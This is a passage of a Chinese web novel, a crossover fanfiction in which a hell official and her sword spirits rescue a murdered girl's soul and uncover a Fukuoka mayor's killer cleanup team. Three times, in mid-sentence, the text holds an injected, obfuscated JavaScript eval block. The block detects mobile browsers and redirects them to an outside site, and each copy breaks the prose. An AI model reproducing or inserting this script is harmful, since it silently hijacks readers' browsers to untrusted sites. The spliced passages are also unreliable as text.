毕竟她还有以摞为单位的工作需要处理。虽然很想当场喝点酒带薪摸鱼,但现世的据点里还有一堆报告和卷宗在等她,只能含泪放弃这个诱人的念头。 和复仇屋的次郎和美咲告别后,同行的齐藤也被提溜一起走。 齐藤还沉浸在自己差点被坑的情绪中,亦步亦趋地跟了千祈一段路,夜风一吹,才猛地回过神,站住脚步迟疑道:“那个……千祈小姐,我为什么也要跟着一起走?” “对方既然随机选择你进行栽赃,现在没有任何报道,死者也不见了,一定很着急。”千祈抱臂,悠闲地走在夜晚没什么人的街道上。微风吹起她披在肩上的外套衣袖,布料拂动间,仿佛有暗影流淌。 齐藤不知道为什么下意识地屏住呼吸。 “也就是说,对方一定会去现场确认。”笑面青江微笑着说道,夜里微弱的路灯下,他的神情莫测。 千祈往现世据点的方向继续走去,齐藤搓了搓夜风吹拂下发凉的手臂,试图压下冒起的鸡皮疙瘩,快步跟上。 “然后,对方会翻遍你的底细、监视你的动向、跟踪你的行踪。甚至很可能派出杀手,让你把所有的秘密直接带进坟墓。” 她忽然转过身,对齐藤露出一个在夜色中显得格外明亮的笑容。 “但是不用担心啦,”千祈笑道,“去复仇屋的路上我用了点灵力,监控器看不见我们的。” 齐藤长叹一口气:“呼——太好了。” ** 从和华九会接头的暗巷中走出,宗方拉开车门坐进驾驶座,车内昏暗的光线将他眉间的倦意勾勒得愈发明显。他闭上眼,用力揉了揉太阳穴,沉默在车中蔓延了片刻,才转向副驾驶座上操作电脑的紫乃原。 “紫乃原,查到了吗?” “嗯,”紫乃原头也不抬,左手漫不经心地把玩着一捆绑着□□的炸弹,右手在键盘上飞快敲击,“杀手林带着伊万诺夫的手机去了中洲的一家网咖。至于那个‘伊藤卓也’……监控最后显示他去了博多湾附近的一个居民区。是要现在去探查伊藤卓也,还是先处理林和马场那边?” 福冈市长与华九会之间秘密勾结,正是凭借这股来自暗处的力量,他才得以坐上今日的位置。而宗方一行人,作为市长麾下的杀手善后团队,一直负责处理那些不能见光的任务。例如暗中处理调查过市长和华九会高层会面的刑警,并将其伪造为黑警畏罪自杀。 但从帮市长不成器的儿子处理各种善后问题之后,他们就变得被动起来。连任竞选期间,原田勇助不仅聚众殴打致死,还涉嫌绑架女性。为此他们不得不兵分两路,一边清除知晓内情的同学,一边寻找无亲无故的女性来满足那个纨绔子弟的欲望。 如今华九会那边的交易尚未完成,搭进去一个伙伴,就连善后都出了变数…… 宗方凝视着窗外流动的车流,指尖在方向盘上轻轻敲击着,最后做出决定:“伊万诺夫那边,我还是咽不下这口气。” 近身格斗是伊万诺夫的强项,本以为答应华九会杀掉林宪明是万无一失的事情。没想到那个小鬼带着匕首枪,但凡他跟着一起去,伊万诺夫也不会…… 这个仇一定要报。 宗方喉结微动,将一瞬间翻涌的情绪压回心底,再出声时已恢复平日的冷静:“而且伊藤卓也那边不能轻举妄动,先监视一段时间,找出破绽后再处理掉。” 重新回到酒店现场的时候,他和丽子只有一种感觉: 干净。 酒店的现场太干净了——没有血迹,没有尸体,监控里只有他独自退房的身影,期间没有任何人进出。 如果不是他和丽子两人一起搬运过尸体,几乎要以为这是一场幻觉。 “那家伙……绝对是潜伏在福冈暗处的专业杀手。不要掉以轻心,紫乃原。”宗方沉声,严肃地提醒紫乃原。 “好、好,我知道了,”副驾驶座上,戴着眼镜的短发青年头也没抬,仍在把玩手里的炸弹,语气里带着漫不经心的敷衍,“唉,也不知道这件事什么时候能处理好,我还有论文没能写完呢。” “紫乃原!”宗方的声音加重,“我是认真的。” “知道啦知道啦,”紫乃原终于从炸弹上移开视线,推了推眼镜,嘴角勾起一抹自信的弧度,“别的不敢说,但至少要相信我准备的炸弹嘛。再厉害的杀手,也抵不过一场精心准备的爆炸。” 宗方望着青年跃跃欲试的模样,最终只是深深叹了口气。 “你最好是把我说的记在心里。” ** “到了。”千祈在院门前停下脚步。围栏内,正是她先前租下的那栋三层独栋别墅。房屋配有独立的前院,正门朝向博多湾,站在楼上便能将海湾景色一览无余。 齐藤悄悄打量了一番,从外观看来,似乎与寻常人家并无不同。 “齐藤先生请见谅,家里人会有些多,可能会打扰到您休息。”千祈将手搭在门把手上说道。 齐藤卓也摆摆手,表示不介意:“没有没有,我才是需要感谢的那个,还好千祈小姐您能收留我。” 跟在这位小姐身边总不会有什么生命危险了吧,那些杀手再怎么样估计也想不到这边的战力全是非人类。 拧开门把手,几名秀美少年和俊男纷纷围上来。 五虎退在门口喊了一声“主人”后乖乖地接过外套挂在墙上。 物吉贞宗早已将沙发靠垫整理妥当,待千祈坐下后,适时递上一杯温茶。 烛台切光忠正在厨房忙碌地处理最后一道料理。他身着笔挺的西装,独特的眼罩为他增添了几分神秘感。听到门口的动静,他头也不抬地温声问道:“是主人回来了吗?请稍等片刻,饭菜马上就好。” 药研藤四郎和包丁藤四郎一起灵子化后在附近巡逻,在千祈之前几分钟刚回来,此时还穿着护腿肩甲之类的护具。 “大将,我回来了。”药研的声音沉稳,少年身形与令人安心的气场融合得恰到好处。 “主公!我好想你呀!”包丁藤四郎则发挥出极高的机动值,一下子扑进千祈怀里。 千习以为常地抬手,轻轻揉了揉包丁的头,然后招呼愣在门口的齐藤卓也。 “齐藤先生?在这里不用太拘束,当成家里一样就好。” 齐藤倒不是刻意拘谨,只是从进门起就不断听到“主人”、“大将”、“主公”这样的称呼,再加上千祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401737|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无比自然地接受着几位俊俏青年的周到服侍,这场景着实让他有些恍神。沉默片刻后,他最终还是忍不住凑近千祈,压低声音问出了一个可能有些冒犯的问题: “千祈小姐,”他用手半掩着嘴,小心翼翼地问道,“难道说……地狱其实是按极道组织的模式运作的吗?” 看着这几个恭敬的属下,听着他们一口一个“主公”、“主人”,还有人佩着刀剑,难怪之前总觉得千祈和笑面青江之间的相处方式有些眼熟。 原来是极道大小姐的做派? 千祈闻言明显一愣,随即把头摇出了残影,忙不迭地否认:“哪敢哪敢,地狱的制度建设可比这个……厉害多了。” 她心里忍不住吐槽:那可是鬼灯大人一手建立的地狱制度啊!其中加班的辛酸和压力,极道组织哪能比得上?更何况有那位大人坐镇,怎么可能允许极道作风渗透进公职人员队伍? ——要真有那种不法分子,鬼灯早就提着狼牙棒把他们敲得粉碎了。 而且和刀剑之间相处的模式纯粹就是时之政府带来的本丸作风罢了。 时之政府那边十个本丸里面九个审神者都是本丸小皇帝。她这个受过现代教育的人,在一群历经百年的老刀思想影响下,不被“腐化”已经相当不容易了。 “这样啊……”齐藤似懂非懂地点了点头。 果然还是很难想象地狱究竟是什么样子呢。 “说起来,”千祈忽然转向齐藤,语气认真了几分,“其实我还有一件事想要拜托你,齐藤先生。” “什么事?”齐藤问道,“在我能力范围内我一定会帮的!毕竟千祈你也帮我避免了一场无妄之灾嘛。” “放心,不是什么困难的事情。” 千祈向前倾身,招手示意齐藤在面前的椅子坐下。随后她轻轻闭上眼睛,掌心缓缓凝聚出一团柔和的白光。待光芒渐渐散去,一只雪白可爱的小猫正安静地蜷缩在她的手心。 “这个孩子,能拜托你照顾一段时间吗?”千祈将小白猫轻轻递向齐藤,温声解释道,“她原本是将死之人,被我偶然救下,一直用灵力温养着。如今灵魂虽已稳定,但仍需借助人类的气息来逐渐唤醒神志。我虽有灵力,终究并非人类,难以给予她这样的气息。” 千祈望向周身的刀剑们,柔声道:“而且你也看见了,他们也不是人类。” “这孩子就麻烦你代为照料了,等找到她哥哥之后,再交由她哥哥照顾就好。” 小猫尚未完全清醒,即便被千祈小心转移到齐藤手中,也只是下意识地用柔软的皮毛蹭了蹭他的掌心。那细微的触感让齐藤一下子慌了神。 “等、等一下……她……它到底是、是猫,还是鬼?还有哥哥又是怎么回事?” “这孩子啊,其实——”千祈故意拉长了语调,眼中闪过一丝狡黠。 “什、什么?” “叫做林侨梅,就是今天发出寻人委托的那个女孩哦。” 齐藤顿时更加慌乱,几乎语无伦次:“千、千祈小姐!我胆子小,你别吓我啊!” 千祈却仿佛没听到他的抗议,笑容灿烂地双手合十:“那就拜托你啦,齐藤先生!” “千祈小姐!我害怕——!” 16.第 16 章 “就这样把她交给我真的好吗?”齐藤捧着猫,在客厅凌乱。 笑面青江拍了拍他肩膀,鼓励道:“加油啊,齐藤桑。” 烛台切走过来,在齐藤面前放下一个小果盘:“又见面了,齐藤先生。” 齐藤看向烛台切光忠,对这样的招呼有些摸不着头脑。 面前的男人十分眼熟,齐藤盯着烛台切光忠看了一会才注意到自己的失礼:“抱歉!总觉得您好像很眼熟的样子,但这两天的事情太多了,搞得我有些忘了。” 烛台切微微低下头,把散落的头发撩起,低笑道: “这样呢,客人?” 昨夜被金钱冲昏头脑的记忆再次浮现,眼前的面容和帮他处理食材的厨师逐渐重合。 “诶——!原来是你啊!” “说起来还得感谢齐藤先生你呢,如果不是你发这个复仇屋的名片给我的话,一时半会我们还不知道应该从什么地方开始查起。”烛台切放下头发,不知从什么地方拿出一个猫窝,将齐藤手上的猫咪接过放在小窝里。 “复仇屋?我记得好像给你的是Murder Inc的名片……啊,难道说!”齐藤画风突变豆豆眼。 当时给错了吗?! 千祈笑了笑,留下客厅仍在凌乱的齐藤和化身白猫的林侨梅,转身走向三楼的卧室。 救下林侨梅,是源于一个巧合。 那天,她正和附近的死亡的猫灵打听消息…… 【千祈大人!千祈大人!】肩膀上的狸花猫声音急促,爪子指着不远处的几人。 【他们身上,有杀掉我的那个凶手的气息!】 千祈眼波未动,自然地从包里拿出补妆镜,“啪”地一声轻轻掀开。镜面清晰地映出她身后电梯口的景象。 在她身后的电梯口,一个穿着打扮和夜店女公关很像的女子正费力地搀扶着一个身材高大的醉汉,那男人脚步虚浮,几乎将全身重量都压在她身上,嘴里还含糊不清地嘟囔着什么。而身旁一名灰发男子则拖着一个硕大的行李箱,行走间箱子滚轮在地面上摩擦发出沉闷的声响。 肩膀上的猫咪说,死之前它记得很清楚,将他杀死的其中一个青年的身上附着黑乎乎的,闻着就作呕的气息。 ——濒临死亡的它知道,那绝非人类应有的味道。 而今,它又重新闻到了这股气息。 千祈找了个角落灵子化,悄悄一路跟踪几人进到房间。在确认两人没有灵力看不到他们之后,千祈和狸花猫才凑近观察。 “嗯……居然是她?”千祈讶然。 【千祈大人认识这个女人吗?】狸花猫就地蹲坐,尾巴摆来摆去。 “也不是认识,只能说是见过。”一旁灰发男子她没见过,倒是这个女子…… 在上次看完房子后回去找酒店的烛台切他们时,正巧在电梯遇到过这个女子,她记得当时对方身边跟着的是另外一个高大魁梧的外国人,手里也拉着同样沉重的行李箱。 现在想来,行李箱里应该也躺着另一位可怜的女孩。 千祈的目光落向床上那名浑身是伤、一动不动的女孩,正暗自叹息,却忽然察觉到了一丝极其微弱、却仍未断绝的生气。 她竟然还活着! 即使身体的机能近乎停止,但从灵力探查的反馈来看,女孩体内留存有一丝极其微弱的力量将她本该被地狱接引科探查到的死亡气息封锁。 源自灵魂深处最本能的执念激发了身体深处那一丝微弱的灵力,将灵魂牢牢锁在身体中,等待危险的远离。 正在这时,狸花猫的声音将千祈的注意力拉回。 【喵——!这个女人,她要干什么,人不是已经死了吗!】床前的女公关跨坐在尸体上,高举匕首。 “丽子?”灰发独眼的男人不解,叫住名为丽子的女人。 名为丽子的女人眼神冷冽,毫不犹豫地将刀狠狠插入尸体胸膛:“抱歉,我总觉得有些不安,要确认一下。” “哧——刷——”刀身没入身体又被拔出,暗红近黑的血液,量并不多,随着刀子的离开缓缓从创口渗出,濡湿了衣物。 活人和死尸受到的伤害表现不同,只有冰冷的尸体才会有这样的表现。 一旁的男子叹了口气,提起一旁的行李箱,对丽子说道:“这下总该放心了吧。” 丽子眉头微缓,尽管心中那股隐约的异样感仍未完全消散,但这一刀之后的反应确实证明他们的计划仍在顺利推进。 深吸一口气后,她说道:“把他犯下的案子全部推到这个人身上,走吧。” 两人最后仔细检查了一番酒店内的布置,留下在床上和尸体为伴、呼呼大睡的醉汉,然后离开这个伪造好的命案现场。 随着门发出沉闷的“砰”的一响,彻底隔绝了内外两个世界。 房间内一时只能听到床上男人昏天黑地的鼾声。而在这看似寻常的景象之下,一丝极细微的灵力却如水波般无声荡漾开来,悄然弥漫在凝滞的空气之中。 几分钟后,灵力的波动不再是最初那般蜻蜓点水似的轻柔,而是越发激荡,如深海之中汹涌的暗流,紧密环绕在床榻上那名满身伤痕的女子周围。方才本应由利刃造成的创口荡然无存,那些狰狞的淤痕与伤迹也正以肉眼可见的速度逐渐消退。 与此同时,空气中悄然漾开另一道灵力的涟漪。它起初极为微弱,只能依循着那强大灵力的引导而流动。然而不过片刻之间,这股新生的力量便逐渐壮大起来,节律如心跳般稳定而有力。 仿佛一颗无形的心脏正在苏醒,搏动得越发强劲。 【千祈大人……】狸花猫蹲坐在一旁,金色眼眸中写满了担忧,紧紧凝视着正全神贯注操纵灵力的千祈。 千祈并未回应狸花猫的呢喃,此刻她的全部心神都集中于眼前,细致地修复着这具身躯上每一处狰狞的损伤。与此同时,她不断加大灵力的输出,试图唤醒躯体内残存的力量。 自那个名叫丽子的女人将刀刺向尸体的瞬间,千祈便已悄然释放出灵力,干扰两人认知,使得两人误以为已经将事情办理好。 待他们转身走向门口,她指尖微动,一缕极细的灵丝无声无息地黏附于两人身上。然后又输送了一点灵力,让床上的男人睡得更沉。 随着时间流逝,灵力逐渐平息,余波之下,一个小小的光团从床上的身体中升起,缓缓向千祈移动,最后停留在手心。 仿佛找到了自己喜爱的小窝一般,光团蹭了蹭手心,然后渐渐隐没。 【怎么样喵?千祈大人您还好吧?】狸花猫绕着千祈腿边转了几圈,急切地询问道。 千祈细细感受另一个灵魂的状态,过了一会才答道:“没事,我很好。” 她望向那具修复得七七八八的身体,伤痕与淤青尽数褪去后,女孩露出了清秀美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416180|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽的原本样貌,眉眼间仍带着未曾历经世事的澄澈感。看这年纪,她本该刚刚踏入大学校园,正处在人生中最明媚的年华。 “这孩子的灵魂差一点就要成为怨灵,还好我出手拉了她一把,将灵魂状态稳定下来。” 不过现在这副身躯虽然能用,但因为身体已经生理死亡很久了的缘故,哪怕短暂将灵魂放进去也无法回到人类的姿态,时间久了也有可能腐烂。 怎么办呢……手心还残留着名为林侨梅这一灵魂的温暖,千祈怔愣着。 正当思绪流转之际,她忽然抬眼,望向脚边的小小身影。 “小梨,还记得我的灵力气息吗?”千祈突然的询问让狸花猫微微一怔,但它很快反应过来,认真地点头。 【记得的!】 “很好,”千祈指尖划开一道流转着微光的灵力通道,同时轻柔地抱起床上宛如沉睡的躯体,“那你顺着我附在那两人身上的灵丝,去追踪他们的动向。” 她低头轻声叮嘱脚边的小小身影:“务必小心,察觉危险时就立即撤离。” 【明白喵!小梨这就去喵!】它刚刚早就想要顺着灵力去追踪那些坏蛋了! 话音未落,小巧的身影便如一道迅捷的风,“嗖”地穿过墙壁,悄无声息地循着灵力的踪迹追逐而去。而她也抱着那具身体,走进传送通道后的地狱。 五道转轮王精通术法,据说他身边的辅佐官是僵尸。 或许可以试一试。 ** 面前这个染了黄发,刘海长的遮住半张脸,衣着鲜艳的青年坐在马场的侦探事务所中。 “这个蘑菇头又是谁啊,马场。”林宪明扶额,马场拜托医生仔细包扎过的腹部伤口,但刺伤的疼痛总是在行动间一阵阵蔓延。 刚刚已经来了一个自称重松的刑警,给了些没什么用的线索。现在又来了个瘦弱的小子,一个接一个的,不知道马场要怎么查侨梅的下落。 马场从厨房端着咖啡到桌边,笑着说: “林酱你不是要找妹妹嘛,重松那边正规渠道得不到什么消息,就只能求助情报黑客了。” “介绍一下,他叫榎田,是很可靠的情报分子。” 蘑菇头的青年轻笑着打招呼:“你好~” 林宪明对此持怀疑态度,但此时也没别的办法。 妹妹被华九会卖给不知名的卖主,现在生死未卜,自己又没有什么情报来源。 榎田拿出一部手机,这是之前林和马场在华九会从被林反杀的杀手身上摸出来的。 “你们给我的这部手机,虽然没能找出什么有用的东西,但是结合林君说过对面叫他的名字是伊万诺夫这个信息,我找到一点有用的东西。” 榎田从兜里拿出自己的手机,点开一张照片,上面正是林宪明之前干掉的外国杀手。 “就是他。”林确认道。 榎田看向马场善治。 “他是现任市长手下保镖,伊万诺夫。啊,马场应该也认识,之前你找我查过他们的消息吧。” 马场挠挠头,和林解释:“是这样的,重松那边之前拜托我调查一个案子。涉及华九会和市长的交易。” “没错,”榎田扬起下巴,拿出一个蜘蛛形的挂件,“突破点在于这个,马场先生找到林酱你后把这个窃听器放到了伊万诺夫身上。” “然后,这是窃听器传输过来的对话——” 17.第 17 章 榎田拿出自己的电脑,播放提取出来的录音。窃听器那边提取的声音有些杂音,在一阵关门的动静后,忽然响起铃声,紧接着便是电话通话: 一个女人抱怨道:【啧,是变态儿子打过来的】 然后接起电话,电话那边传来年轻男子的声音,语气十分轻佻。 【喂~宗方先生,我好无聊,再给我搞点人——】 女人不满地对电话那边的男人说道:【你给我乖乖呆着,我现在会联系中介给你提供的。】 【这小鬼怎么回事,前天才送了个人给他,未免太异常了。】 最后这个声音林很熟悉,是之前在华九会打电话那个男人。 对话不难理解,但林对那个打电话的年轻人更加关注些:“那个变态儿子是?” 榎田按下暂停键,适时调出原田勇助的照片以及一些校园论坛的帖子,基本都是控诉原田勇助所作所为的帖子,但阅读量不高,还有几个原帖已经被封锁,大多是靠截图转载才保存下来的。 他对两人解释:“市长有一个独生子,叫做原田勇助,从前就染指各种犯罪,但不知道为什么罪行没有被揭露。” “华九会也确实在几天前和市长的保镖们接触过,虽然他们很小心,但还是有监控拍下会面后华九会那边带去的行李箱出现在保镖的手上。” 电脑上的照片再次变换,华九会的张和手下拉着大号行李箱走进暗巷子,不多时空手走出。而距离附近不远处的一处监控,一男一女从巷子另一个出口走出,手上拿着同样的箱子。 林攥紧了拳头。 马场垂眸,盯着电脑上原田勇助的照片,语气渐沉:“估计是市长把事情压下来了,我现在有些怀疑前段时间福冈报道的女性遇害案件是不是都出自这个变态原田勇助的手。” 想到刚刚对方如索要新玩具一样的态度,在场所有人的心都沉下来。 “就是他了。”林眼底蓄满杀意,带着点咬牙切齿地说道。 “他不是要女人吗?那我就扮成女人接近原田勇助。马场,你会帮我的吧?” 他要亲自去问。 即使不抱任何希望,他也想要一个答案。 几千个日夜对妹妹的思念,无数次对着镜子穿上女装想象妹妹长大的模样,每一笔用命铮来的钱汇回家的期待。 在此刻全然破碎。 “好吧。”马场无奈一叹,揉了揉林的头答应下来。 他对榎田说道,“这样榎田,麻烦你查查交易的地点和对接暗号。” “好嘞。” ** 歌仙兼定走在阎魔殿外围的长廊上,出阵时穿着的披风随着走动翻飞,仿若蝴蝶振翅一般。 出门在外,主公的面子就是身为家臣和刀剑他们的面子,重要场合身穿出阵服一直都是本丸的传统。主要是因为早期的主人很好说话,有时候很容易心软答应不必要的拜托,这时候就需要身为刀剑的他们展现出一些强硬的态度,才不会被上司随便揉捏派发工作。 在这样的前提下,威风凛凛的出阵服搭配手持刀刃,站在千祈身后以武力威慑的刀剑付丧神可以逼退百分之八十来自某狐耳男上司的无礼要求。 至于剩下的百分之二十?纯粹是千祈被对方灾难级的业务能力给气的——眼看自己之前的努力就要因为猪队友而全部沦为泡影,这谁忍得了! 当然,目前来说地狱的办公环境还算友好,因此大部分时候他们的存在都是帮助千祈处理不必要亲自到场的小事。 正如现在,作为千祈安排的今日地狱事务值班员,他需要将千祈在现世写好的公文和报告交给地狱实权人——阎魔大人的辅佐官,鬼灯。 施施然地走到鬼灯办公处,歌仙兼定敲了敲门,在得到“请进”答复后走进办公室。 “啊,你来了啊,歌仙。”鬼灯放下手中关于众合地狱人力短缺的报告,对歌仙兼定打招呼。 歌仙兼定:“是,应主公的要求,给鬼灯大人送来现世报告。” “顺便一提,鬼灯大人,上次主公回地狱时带来的那个女孩是什么情况呢?” “说起这个,”鬼灯从怀里拿出一个卷轴递给歌仙兼定,“五道转轮王那边已经把那孩子的身体改造成僵尸状态了,还差最后一步需要千祈来操作。” “给,这是说明书。” 歌仙兼定接过卷轴,对鬼灯道谢:“十分感谢,鬼灯大人。” “对了,千祈那边……像你们这样的刀剑附丧神很多吗?”在歌仙兼定打算离开的时候,鬼灯扫了一眼桌上的报告突然问道。 歌仙兼定疑惑,但还是很礼貌地回答:“数量上的话,目前来说暂时是一百多振。事实上我们也没有具体地数过。” “除去日常需要远征的几个队伍,以及现在跟在主公身边的一队,剩下的刀都会在本丸里打扫内务或者休假。” 毕竟,在时空战场上,刀剑附丧神的出阵数量严格受到限制。一个战场最多只能允许六振刀剑同时出阵,其余队伍大多只能执行远征巡逻任务。 过去,时之政府为了强化整体战力,也曾组织过调动四个队伍协同作战的“联队战”特训。然而在绝大多数情况下,由审神者亲自加入、组成的七人小队,才是一个本丸出击的标准配置。 当然,并非所有审神者都擅长前线武斗。有些更倾向于坐镇后方,通过式神或通讯进行全局指挥。每个本丸都会根据其审神者的风格和刀剑们的特性,形成了自己独特的作战习惯。这主要和时之政府向来热衷于穿梭万千世界捞取劳动力有关,因此审神者们的种族,甚至其存在形态,都可谓千奇百怪,远超常人的想象。 不过,那都是过去的事了。如今,千祈的本丸已整体迁至地狱。为了在现世追查逃犯,并最大限度地使刀剑男士的战力集中于此界,千祈调整了本丸的出阵,保留二队参与战力训练,三队参与远征的安排,一队则跟随她前往现世调查。 “暂时?也就是说还有可能增加?”鬼灯觉察到这个细微的说辞。 “没错,虽然现在主公主要活动是在现世和地狱,但在时之政府那边也依旧是审神者,每隔一段时间时之政府便会增加可召唤刀剑附丧神的上限。别看现在本丸刀剑那么多,实际上在主公刚任职的时候,本丸只有四十来振刀哦。” 虽说如此,理论上能召唤出新的附丧神,和能够肩负一百多振刀剑附丧神的灵力是两件事。大部分审神者都是在多年的努力下才慢慢开发了自己的潜力,逐渐成长为能够供给如此多刀剑灵力的强者。 鬼灯摸了摸下巴:“那……冒昧问一下,歌仙兼定阁下有没有兼职的想法。” “兼……职?” “没错,如今时之政府那边的事务减少,加上现世那边千祈不方便带太多人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425861|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们刀剑附丧神在本丸应该能做的事情不多吧?” 鬼灯说的不无道理,从千祈前往现世后,本丸现在大量人员处于闲着没事干的休假状态。这和从前在时之政府动轴就是加班,两眼一睁就是干的状态截然相反。 简而言之,本丸的那群家伙现在和现世退休的大爷大妈一样,一整个闲得要命,完全不知道要干什么。 鬼灯晃了晃手上地狱人才紧缺的报告,提议道:“我现在有一个两全其美的方法,能够锻炼武艺的同时,顺便帮千祈减少一些事务的负担。” “你们可以来兼职一些狱卒的工作,薪水会统一发给千祈的,如何?” 地狱辅佐官的建议似乎很不错,但作为下属的歌仙兼定决定恪守本职:“鬼灯大人的提议我会考虑的,倘若主公同意,那我等刀剑便会履行职责。” “我只是随口一提,最后还看千祈和你们的意愿,”鬼灯看了看怀表,巡视地狱的时间又到了,便起身告辞。 ** 本丸,大广间。 今天难得的,除去现世执行任务的刀剑外,余下的刀剑全部齐聚在此。 “以上,便是阎魔大王的辅佐官,鬼灯大人提出的邀请。”本丸资历最老的初始刀歌仙兼定将此前和鬼灯的交流和盘托出。 “大家觉得这个提议如何?”压切长谷部在主位旁支起一个小机,摊开纸张,提笔写下“本丸刀剑兼职地狱事务讨论记录”几个字。 “诶——上次众合地狱的阿香小姐也和我们提过这个,我是都可以啦,多一个亡者切的名字也可以哦。”擅自就给自己改名字的髭切笑着说,“对吧?薄绿丸。” “阿尼甲,是膝丸。”膝丸下意识地更正髭切对自己的称呼,然后继续补充髭切没有说完的话,“无论如何,只要是身为家主的主人做下决定,我等都会遵守。不过如果能在战场之外辅佐主人,减轻主人负担的话,我们也是非常愿意的。” “极化后就立下誓言,这份力量会一直为主人使用,直到地狱。”平野藤四郎说道,“就算现在真的身在地狱,也要努力为主人分忧呢。” 前田藤四郎也马上表示:“无论是战场还是地狱,都会打起精神好好对待的!” “是啊是啊,主人现在在现世那么忙,我等也要努力才能帮上主人。” “狱卒啊……说不定能给主人一个惊喜哦!” “好像确实可行……” …… “好了——!”压切长谷部最后制止一堆刀剑乱哄哄的场面,做出总结,“总之,关于兼职地狱事务这件事,就以全票通过为最后结果。” “申请我会写好上交,等待主人批阅,在此之前大家就先做好本职吧。”巴形薙刀以十分自然地姿态将这件事揽过。 压切长谷部按下脑门上的十字青筋,强颜欢笑道:“这就不对了吧巴形殿,应该由我这位近侍和主人禀报吧。” 巴形薙刀:“是吗?据我所知主人安排近侍都是轮流进行,怎么说也应该是由最后写成申请的我来和主人说明吧。” “你这家伙就是想黏在主人身边——” “好啦好啦,不可以吵架!”“就等主人回来交给当天的近侍吧!” 总之,众刃吵吵闹闹地结束了今天的会议。 “哈哈哈,真是热闹啊。”本丸老爷爷三日月抬起茶喝了一口,慢悠悠地笑道。 18.第 18 章 本丸内,千祈毫无形象地半躺在天守阁的榻榻米上,一回到这里,整个人就像被抽去了骨头似的彻底松懈下来。 现世那边暂时由刀剑男士们打理,偶尔这样溜回本丸偷个懒,也不算过分吧。 “主人,主人?”清光凑近,戳了戳千祈的脸,软软的,很贴心。 “唉——”千祈有气无力地握住他的手,几片细碎的樱花随之飘落,悠悠荡荡落在两人之间。她早已习惯了刀剑男子们动不动就飘花的情形,只不过现在她无暇顾及清光的樱吹雪。 千祈长叹一声,再次拿起鬼灯给的那卷来自五道转轮王的《僵尸制作小技巧》。书上的每个字她都认得,可连在一起却怎么看怎么不对劲。她横看竖看,反复琢磨,只觉得这纸上密密麻麻写的根本不是术法,而是三个大字: ——“啥玩意?” 什么叫做“优先吃掉对面的向日葵”?“使用僵尸海战术”?还有“最后吃掉人类的脑子”? 这真是五道转轮王亲传的僵尸召唤术吗?怎么意识流到像某种行为艺术…… 她不是没想过直接去第十殿问个清楚,可一想到要从这里坐很远、而且密密麻麻全是人的地狱电车,千祈就头皮发麻。算了,还是先搁着吧。 每次上电车都感觉自己是命很苦的加班社畜。 反正侨梅的灵魂还在齐藤那里温养,不急这一时。她伸手取过本丸近日的事务申请册,决定先处理些看得懂的事情。 最近一直在现世和地狱之间来回奔波,本丸的刀剑男士们看她实在辛苦,便悄悄自己排好了轮值表,连日常报告都交由近侍代笔。真是太好了,她的刀剑简直都是天使啊…… 千祈一边感慨,一边翻看今天需要盖章的文件: 二队出阵——批准。 三队远征——批准。 轮换内番——批准。 上班请求——批准。 下一张,本丸演练场扩建…… 等等,刚才好像瞥见了什么不对劲的?她连忙从刚盖完章的那叠文件中抽出一张,只见抬头写着:“关于本丸刀剑兼职地狱事务的申请说明”。 千祈一脸不可置信地转向身旁还在飘着樱花的清光: “清光,这是什么?本丸的财政……应该还没困难到需要你们出去兼职的地步吧?” 清光顿时从樱吹雪中回过神,面对千祈端正地坐好:“是,主人!大家商量了一下,觉得地狱有很多可以磨练实战、提升能力的机会,所以也想申请参与兼职!” 他眼神明亮:“主人放心,绝不会耽误您交代的任务!我们也想多帮上您的忙嘛!” 千祈一时有些游移不定,欣慰于自家刀剑的体贴用心,又一边为他们这个突如其来的想法感到些许犹豫。 刀剑去兼职狱卒……真的不会出什么问题吗? 地狱的狱卒工作虽然分类众多,但乍一想脑子里面全是自家刀剑在各个刑场教训罪人的可怕场面。 “我们都想为主人分担一些压力,再说了还有薪水可以拿。” “而且鬼灯大人也说了,可以先按照实习生的流程学习,最后自己选择去什么岗位兼职。” 这样的话等到大家都了解地狱的运行机制,就可以优先帮主人处理掉不必要的小事了。 “这是大家讨论后的意愿,啊,这里还有会议记录。”清光从申请书下翻出了此前总结好的会议记录,上面写满了本丸刀剑们的名字、刀纹印章,甚至还有爪子印。 “好吧好吧。”既然是大家的决定,最后千祈还是同意了刀剑们的兼职请求。 清光再三表示他们会优先选择自己喜欢的工作,不会勉强自己。 “太好了,可以帮上主人的忙了!” “唔……明明好不容易让你们能休息,怎么一两个都想赶着上班,真是搞不懂。” 之前在时之政府自己加班就算了,跑战场的时候突发情况特别的多,运气还极差。现在回到本世界,没有历史战场那么严苛的生存环境,加班也主要集中在文书报告之类的事情上。 